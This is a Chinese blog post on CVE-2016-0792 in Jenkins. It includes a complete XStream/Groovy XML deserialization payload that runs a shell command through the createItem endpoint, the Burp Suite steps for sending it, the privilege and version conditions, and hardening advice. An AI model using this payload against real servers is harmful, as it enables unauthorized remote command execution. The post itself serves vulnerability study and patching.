Jenkins-CVE-2016-0792漏洞利用及修复建议

Posted 2020-06-17

 

漏洞概述：

国外网站 Contrast Security 于2016年2月24日在公开了Jenkins近日修复的一个可通过低权限用户调用 API 服务致使的命令执行漏洞详情。通过低权限用户构造一个恶意的 XML 文档发送至服务端接口，使服务端解析时调用 API 执行外部命令。

 

利用方法：

1. 登陆低权限用户test

权限为：Overall的read权限+Job的create权限

 

 

将下面xml数据包post到创建项目页面，项目名称任意命名，这里暂取qt-sec ，完整链接如下：

 

http://178.18.120.133:8181/createItem?name=qt-sec

 

xml数据包如下（string节点的红色部分为要执行的命令和对象）：

 

<map>

  <entry>

    <groovy.util.Expando>

      <expandoProperties>

        <entry>

          <string>hashCode</string>

          <org.codehaus.groovy.runtime.MethodClosure>

            <delegate class="groovy.util.Expando" reference="../../../.."/>

            <owner class="java.lang.ProcessBuilder">

              <command>

                <string>touch</string>

                <string>/tmp/qingteng-test-1</string>

              </command>

              <redirectErrorStream>false</redirectErrorStream>

            </owner>

            <resolveStrategy>0</resolveStrategy>

            <directive>0</directive>

            <parameterTypes/>

            <maximumNumberOfParameters>0</maximumNumberOfParameters>

            <method>start</method>

          </org.codehaus.groovy.runtime.MethodClosure>

        </entry>

      </expandoProperties>

    </groovy.util.Expando>

    <int>1</int>

  </entry>

</map>

 

2. 通过burpsuite截获修改数据包

此处只需把Content-Type: application/x-www-form-urlencoded改为Content-Type: application/xml，然后发送数据包。

 

截获数据包，不进行修改发送，产生400响应状态码，并报“No mode given”错误，经测试发现命令执行失败：

 

 

截获数据包，修改内容类型值，产生500响应状态码，经测试命令执行成功，并在目标服务器的tmp目录下创建了qingteng-test-1文件：

 

 

生成的文件如下：

 

 

 

 

利用总结：

1. 权限限制条件：

无论匿名用户，还是登陆用户，权限必须具有“Overall的read权限和Job的create权限”两个权限（当然具有其他权限越多越好，若拥有administrater权限，其他任何权限都不是必须条件了，因为administrater为最高权限，故这里不考虑administrater）。因为该个漏洞是利用的createitem创建job的功能去调用api，所以create是必须的，而Jenkins最基本的权限是overall的read权限，用户必须赋予阅读的权限，不然什么都看不到。

2. 版本限制条件：

jenkins版本小于 1.650 （1.650版本已修复该问题）

3. post数据内容类型：

构造一个恶意的 XML 文档发送至服务端接口时，内容类型需注意为xml。

安全加固

l 更新 Jenkins 至最新版本 1.650以上。

l jenkins做访问控制，收入内网不开放往外网。

l 禁止jenkins的匿名访问权限。

l 保证每个jenkins账号不为弱口令。

 

参考链接：

https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream

https://www.seebug.org/vuldb/ssvid-90813

https://www.youtube.com/watch?v=JgjYrwqI6nA

http://blog.csdn.net/wangmuming/article/details/22926025